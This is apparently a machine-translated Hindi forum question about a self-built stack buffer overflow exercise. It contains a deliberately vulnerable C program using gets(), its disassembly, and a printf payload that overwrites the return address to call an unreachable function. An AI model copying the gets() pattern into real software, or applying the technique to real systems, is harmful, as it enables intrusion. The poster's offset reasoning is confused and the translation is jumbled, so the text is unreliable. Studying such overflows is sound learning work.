मैं एक स्टैक ओवरफ़्लो पर नियंत्रण लेने की कोशिश कर रहा हूं। समारोह GetInput
के लिए कोडांतरक कोड के डंप:बफर ओवरफ़्लो दिखाई देने से पहले दिखाई दिया
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
यहाँ सबसे पहले, यहाँ सी कोड का एक उदाहरण मैं एक x32 वीएम लिनक्स (gcc -fno-stack-protector -ggdb -o first first.c
) पर संकलित,
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
फिर डिबगर (इंटेल स्वाद) है हम देख सकते हैं कि उप esp, 0x28 एक बफर चर (दाएं?) के लिए 40 बाइट्स आरक्षित करता है। CanNeverExecute
फ़ंक्शन पते 0x0804843c
में स्थित है। तो, CanNeverExecute
फ़ंक्शन चलाने के लिए, मुझे 40 बाइट्स को बफर वेरिएबल में डालने की आवश्यकता है, फिर संग्रहीत बेस पॉइंटर के लिए 8 बाइट्स और फिर 8 बाइट्स रिटर्न पॉइंटर के लिए बदलना है, जिसे मैं बदलना चाहता हूं।
तो, मुझे अंत में 48 ASCII प्रतीकों और \x3c\x84\x04\x08
की एक स्ट्रिंग की आवश्यकता है (CanNeverExecute
फ़ंक्शन का पता)। यह सिद्धांत में है। लेकिन व्यवहार में मैं वापसी सूचक का पता पहले ही 20 बाइट की जरूरत है:
~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first
123456789..
I can never execute
Illegal instruction (core dumped)
यह केवल 20 के बजाय 48 बाइट्स की आवश्यकता क्यों है? मेरी गलती कहां है?